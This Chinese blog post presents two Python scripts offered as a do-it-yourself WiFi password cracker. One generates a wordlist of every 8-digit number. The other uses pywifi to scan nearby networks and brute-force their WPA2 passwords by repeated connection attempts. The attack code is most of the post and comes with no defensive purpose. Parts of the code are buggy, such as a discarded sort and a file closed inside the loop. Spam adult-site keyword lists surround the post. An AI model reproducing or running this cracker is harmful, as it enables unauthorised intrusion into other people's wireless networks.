亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

使用python3 破解wifi密碼 自寫程序

系統(tǒng) 2207 0

運(yùn)行環(huán)境:win10 + python3.7

?

生成密碼的代碼如下:

----------------------------------------------------------------------------------------------------------------------------

?

            
import itertools as its

if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    r = its.product(words_num,repeat=8)
    dic = open("password-8位數(shù)字.txt","w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()
    print("完全寫入成功")


          

----------------------------------------------------------------------------------------------------------------------------

運(yùn)行破解密碼代碼如下:

?

-------------------------------------------------------------------------------------------------------------------------------

?

            
import pywifi
import time
import constant
import comtypes

def getwifi(wifilist,wificount):
    wifi = pywifi.PyWiFi() # 抓取網(wǎng)卡接口
    ifaces = wifi.interfaces()[0] # 獲取網(wǎng)卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist: #去掉重命名的wifi名稱
            namelist.append(data.ssid)
            allwifilist.append((data.ssid,data.signal))
            sorted(allwifilist,key=lambda st:st[1],reverse=True)
            time.sleep(1)
            n = 0
            if len(allwifilist) is not 0:
                for item in allwifilist:
                    if(item[0] not in ssidlist) & (item[0] not in wifilist):
                        n+=1
                        if n <= wificount:
                            ssidlist.append(item[0])
                            print(allwifilist)

    return ssidlist

def getifaces():
    wifi = pywifi.PyWiFi() # 抓取網(wǎng)卡接口
    ifaces = wifi.interfaces()[0] # 獲取網(wǎng)卡
    ifaces.disconnect() # 斷開無線網(wǎng)卡連接
    return ifaces

def testwifi(ifaces,ssidname,password):
    profile = pywifi.Profile() # 創(chuàng)建wifi連接文件
    profile.ssid = ssidname # 定義wifissid
    profile.auth = constant.const.AUTH_ALG_OPEN #網(wǎng)卡開放
    profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法
    profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密單元
    profile.key =  password #wifi密碼
    ifaces.remove_all_network_profiles()#刪除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)#加載配置文件
    ifaces.connect(tmp_profile) #連接wifi
    time.sleep(5) # 5秒能否連接上
    if ifaces.status() == constant.const.IFACE_CONNECTED:
        return True
    else:
        return False

def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r'password-8位數(shù)字.txt' # wifi密碼文件
    files = open(path,'r')
    while True:
        try:
            password = files.readline()
            password = password.strip(' \n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在嘗試"+wifiname+','+password)
                if testwifi(ifaces,wifiname,password):
                    wifinamelist.remove(wifiname)
                    break
                if not wifinamelist:
                    break
        except:
            continue
        files.close()

if __name__ == '__main__':
    wifiname_e = ['HNIU'] #排除不破解的wifi的名字
    wifinames = getwifi(wifiname_e,5)
    print(wifinames)
    beginwork(wifinames)


          

-------------------------------------------------------------------------------------------------------------------------------

?

如何代碼有問題或者需要優(yōu)化的地方,歡迎二提出來了,謝謝!

聯(lián)系QQ:2433702912

?


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號(hào)聯(lián)系: 360901061

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對(duì)您有幫助就好】

您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長(zhǎng)會(huì)非常 感謝您的哦!??!

發(fā)表我的評(píng)論
最新評(píng)論 總共0條評(píng)論
主站蜘蛛池模板: 国产欧美日韩综合 | 亚洲精品色综合色在线观看 | 免费观看欧美精品成人毛片能看的 | 成人在线一区二区 | 97久久人人爽人人爽人人 | 亚洲精品 国产 日韩 | 亚洲香蕉中文网 | 麻豆精品一区 | 黄色综合网| 国产成人精品亚洲日本在线观看 | 久久久国产99久久国产首页 | 国产亚洲一区二区三区在线观看 | 日本xxx高清免费视频 | 99久久综合精品免费 | 一级毛片秋霞特色大片 | 亚洲伊人色一综合网 | 精品国产国产综合精品 | 国产aⅴ精品一区二区三区久久 | 日本精品久久久中文字幕 | 我色综合| 国产免费播放一区二区 | 丁香激情综合色伊人久久 | 国产麻豆精品aⅴ免费观看 国产麻豆精品hdvideoss | 色综合亚洲七七久久桃花影院 | 俄罗斯一级成人毛片 | 亚洲欧美一区二区三区二厂 | 久久中精品中文 | 男任天堂2021 | 黄色影院免费观看 | 美女又xx又xx免费 | 日本一级毛片高清免费观看视频 | 久久精品免观看国产成人 | 日日狠狠久久8888av | 成人在色线视频在线观看免费大全 | 成人18网址在线观看 | 情欲综合网 | 蜜桃久久久久久久久久久 | 日日干夜夜草 | 亚洲高清资源在线观看 | 九色综合久久综合欧美97 | 亚洲品质自拍视频 |